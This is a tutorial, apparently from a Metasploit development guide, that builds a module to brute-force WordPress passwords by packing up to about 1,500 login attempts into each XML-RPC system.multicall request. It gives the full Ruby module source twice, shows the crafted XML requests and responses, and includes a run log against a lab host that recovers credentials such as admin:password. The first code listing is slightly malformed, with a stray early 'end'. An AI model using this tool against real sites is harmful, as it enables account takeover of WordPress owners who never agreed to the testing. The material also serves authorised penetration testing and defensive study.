Auxiliary module

Scanner

Basic Scanner modules

WordPress XML-RPC Massive Brute Force

WordPress CMS framework support XML-RPC service to interact with almost all functions in the framework. Some functions require authentication. The main issues lies in the you can authenticate many times within the same request. WordPress accepts about 1788 lines of XML request which allows us to send tremendous number of login tries in a single request. So how awesome is this? Let me explain.

Imagine that you have to brute force one user with 6000 passwords? How many requests you have to send in the normal brute force technique? It's 6000 requests. Using our module will need to 4 requests only of you use the default CHUNKSIZE which is 1500 password per request!!!. NO MULTI-THREADING even you use multi-threading in the traditional brute force technique you'll send 6000 request a few of its are parallel.

<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
 <param><value><array><data>


  <value><struct>
  <member>
    <name>methodName</name>
    <value><string>wp.getUsersBlogs</string></value>
  </member>
  <member>
    <name>params</name><value><array><data>
     <value><array><data>
      <value><string>"USER #1"</string></value>
      <value><string>"PASS #1"</string></value>
     </data></array></value>
    </data></array></value>
  </member>

  ...Snippet...

  <value><struct>
  <member>
    <name>methodName</name>
    <value><string>wp.getUsersBlogs</string></value>
  </member>
  <member>
    <name>params</name><value><array><data>
     <value><array><data>
      <value><string>"USER #1"</string></value>
      <value><string>"PASS #N"</string></value>
     </data></array></value>
    </data></array></value>
  </member>


</params>
</methodCall>

So from above you can understand how the XML request will be build. Now How the reply will be? To simplify this we'll test a single user once with wrong password another with correct password to understand the response behavior

wrong password response

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value>
              <struct>
                <member>
                  <name>faultCode</name>
                  <value>
                    <int>403</int>
                  </value>
                </member>
                <member>
                  <name>faultString</name>
                  <value>
                    <string>Incorrect username or password.</string>
                  </value>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodResponse>

We noticed the following

  • <name>faultCode</name>

  • <int>403</int>

  • <string>Incorrect username or password.</string>

Usually we rely one the string response 'Incorrect username or password.', but what if the WordPress language wasn't English? so the best thing is the integer response which is 403

correct password response

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value>
              <array>
                <data>
                  <value>
                    <array>
                      <data>
                        <value>
                          <struct>
                            <member>
                              <name>isAdmin</name>
                              <value>
                                <boolean>1</boolean>
                              </value>
                            </member>
                            <member>
                              <name>url</name>
                              <value>
                                <string>http://172.17.0.3/</string>
                              </value>
                            </member>
                            <member>
                              <name>blogid</name>
                              <value>
                                <string>1</string>
                              </value>
                            </member>
                            <member>
                              <name>blogName</name>
                              <value>
                                <string>Docker wordpress</string>
                              </value>
                            </member>
                            <member>
                              <name>xmlrpc</name>
                              <value>
                                <string>http://172.17.0.3/xmlrpc.php</string>
                              </value>
                            </member>
                          </struct>
                        </value>
                      </data>
                    </array>
                  </value>
                </data>
              </array>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodResponse>

We noticed that long reply with the result of called method wp.getUsersBlogs

Awesome, right?

The tricky part is just begun! Since we will be sending thousands of passwords in one request and the reply will be rally huge XML files, how we'll find the position of the correct credentials? The answer is, by using the powerful ruby iteration methods, particularly each_with_index method.

Enough talking, show me the code!

What do we want?

Steps

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
            info,
            'Name'         => 'WordPress XML-RPC Massive Brute Force',
            'Description'  => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
            'License'      => MSF_LICENSE,
            'Author'       =>
                [
                  'Sabri (@KINGSABRI)',           # Module Writer
                  'William (WCoppola@Lares.com)'  # Module Requester
                ],
            'References'   =>
                [
                  ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
                  ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
                ]
          ))

    register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path', '/']),
          OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
                                      File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
          OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
                                      File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
          OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
          OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
        ], self.class)
  end
end
  def usernames
    File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
  end

  def passwords
    File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
  end
  #
  # XML Factory
  #
  def generate_xml(user)

    vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
    xml_payloads = []                          # Container for all generated XMLs
    # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
    passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|

      document = Nokogiri::XML::Builder.new do |xml|
        xml.methodCall {
          xml.methodName("system.multicall")
          xml.params {
          xml.param {
          xml.value {
          xml.array {
          xml.data {

        pass_group.each  do |pass|
          xml.value {
          xml.struct {
          xml.member {
          xml.name("methodName")
          xml.value { xml.string("wp.getUsersBlogs") }}
            xml.member {
            xml.name("params")
            xml.value {
            xml.array {
            xml.data {
            xml.value {
            xml.array {
              xml.data {
                xml.value { xml.string(user) }
                xml.value { xml.string(pass) }
          }}}}}}}}}
        end

          }}}}}}
      end

      xml_payloads << document.to_xml
    end

    vprint_status('Generating XMLs just done.')
    xml_payloads
  end
  #
  # Check target status
  #
  def check_wpstatus
    print_status("Checking #{peer} status!")

    if !wordpress_and_online?
      print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
      nil
    elsif !wordpress_xmlrpc_enabled?
      print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
      nil
    else
      print_status("Target #{peer} is running WordPress")
      true
    end

  end
  #
  # Connection Setup
  #
  def send(xml)
    uri  = target_uri.path
    opts =
      {
        'method'  => 'POST',
        'uri'     => normalize_uri(uri, wordpress_url_xmlrpc),
        'data'    => xml,
        'ctype'   =>'text/xml'
      }
    client = Rex::Proto::Http::Client.new(rhost)
    client.connect
    req  = client.request_cgi(opts)
    res  = client.send_recv(req)

    if res && res.code != 200
      print_error('It seems you got blocked!')
      print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
      sleep datastore['BLOCKEDWAIT'] * 60
    end
    @res = res
  end
  def run
    return if check_wpstatus.nil?

    usernames.each do |user|
      passfound = false

      print_status("Brute forcing user: #{user}")
      generate_xml(user).each do |xml|
        next if passfound == true

        send(xml)

        # Request Parser
        req_xml = Nokogiri::Slop xml
        # Response Parser
        res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
        puts res_xml
        res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|

          result =  value.at("struct/member/value/int")
          # If response error code doesn't not exist, then it's the correct credentials!
          if result.nil?
            user = req_xml.search("data/value/array/data")[i].value[0].text.strip
            pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
            print_good("Credentials Found! #{user}:#{pass}")

            passfound = true
          end

        end

        unless user == usernames.last
          vprint_status('Sleeping for 2 seconds..')
          sleep 2
        end

      end 
    end 
  end

Wrapping up

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
            info,
            'Name'         => 'WordPress XML-RPC Massive Brute Force',
            'Description'  => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
            'License'      => MSF_LICENSE,
            'Author'       =>
                [
                  'Sabri (@KINGSABRI)',           # Module Writer
                  'William (WCoppola@Lares.com)'  # Module Requester
                ],
            'References'   =>
                [
                  ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
                  ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
                ]
          ))

    register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path', '/']),
          OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
                                      File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
          OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
                                      File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
          OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
          OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
        ], self.class)
  end

  def usernames
    File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
  end

  def passwords
    File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
  end

  #
  # XML Factory
  #
  def generate_xml(user)

    vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
    xml_payloads = []                          # Container for all generated XMLs
    # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
    passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|

      document = Nokogiri::XML::Builder.new do |xml|
        xml.methodCall {
          xml.methodName("system.multicall")
          xml.params {
          xml.param {
          xml.value {
          xml.array {
          xml.data {

        pass_group.each  do |pass|
          xml.value {
          xml.struct {
          xml.member {
          xml.name("methodName")
          xml.value { xml.string("wp.getUsersBlogs") }}
            xml.member {
            xml.name("params")
            xml.value {
            xml.array {
            xml.data {
            xml.value {
            xml.array {
              xml.data {
                xml.value { xml.string(user) }
                xml.value { xml.string(pass) }
          }}}}}}}}}
        end

          }}}}}}
      end

      xml_payloads << document.to_xml
    end

    vprint_status('Generating XMLs just done.')
    xml_payloads
  end

  #
  # Check target status
  #
  def check_wpstatus
    print_status("Checking #{peer} status!")

    if !wordpress_and_online?
      print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
      nil
    elsif !wordpress_xmlrpc_enabled?
      print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
      nil
    else
      print_status("Target #{peer} is running WordPress")
      true
    end

  end

  #
  # Connection Setup
  #
  def send(xml)
    uri  = target_uri.path
    opts =
      {
        'method'  => 'POST',
        'uri'     => normalize_uri(uri, wordpress_url_xmlrpc),
        'data'    => xml,
        'ctype'   =>'text/xml'
      }
    client = Rex::Proto::Http::Client.new(rhost)
    client.connect
    req  = client.request_cgi(opts)
    res  = client.send_recv(req)

    if res && res.code != 200
      print_error('It seems you got blocked!')
      print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
      sleep datastore['BLOCKEDWAIT'] * 60
    end
    @res = res
  end

  def run
    return if check_wpstatus.nil?

    usernames.each do |user|
      passfound = false

      print_status("Brute forcing user: #{user}")
      generate_xml(user).each do |xml|
        next if passfound == true

        send(xml)

        # Request Parser
        req_xml = Nokogiri::Slop xml
        # Response Parser
        res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
        puts res_xml 
        res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|

          result =  value.at("struct/member/value/int")
          # If response error code doesn't not exist
          if result.nil?
            user = req_xml.search("data/value/array/data")[i].value[0].text.strip
            pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
            print_good("Credentials Found! #{user}:#{pass}")

            passfound = true
          end

        end

        unless user == usernames.last
          vprint_status('Sleeping for 2 seconds..')
          sleep 2
        end

  end end end
end
metasploit-framework/tools/dev/msftidy.rb wordpress_xmlrpc_massive_bruteforce.rb

Run it

msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > show options 

Module options (auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce):

   Name         Current Setting                                                                 Required  Description
   ----         ---------------                                                                 --------  -----------
   BLOCKEDWAIT  6                                                                               yes       Time(minutes) to wait if got blocked
   CHUNKSIZE    1500                                                                            yes       Number of passwords need to be sent per request. (1700 is the max)
   Proxies                                                                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST        172.17.0.3                                                                      yes       The target address
   RPORT        80                                                                              yes       The target port
   TARGETURI    /                                                                               yes       The base path
   VHOST                                                                                        no        HTTP server virtual host
   WPPASS_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_pass.txt   yes       File containing passwords, one per line
   WPUSER_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_users.txt  yes       File containing usernames, one per line

msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > run

[*] Checking 172.17.0.3:80 status!
[*] Target 172.17.0.3:80 is running WordPress
[*] Brute forcing user: admin
[+] Credentials Found! admin:password
[*] Brute forcing user: manager
[*] Brute forcing user: root
[*] Brute forcing user: cisco
[*] Brute forcing user: apc
[*] Brute forcing user: pass
[*] Brute forcing user: security
[*] Brute forcing user: user
[*] Brute forcing user: system
[+] Credentials Found! system:root
[*] Brute forcing user: sys
[*] Brute forcing user: wampp
[*] Brute forcing user: newuser
[*] Brute forcing user: xampp-dav-unsecure
[*] Auxiliary module execution completed

Last updated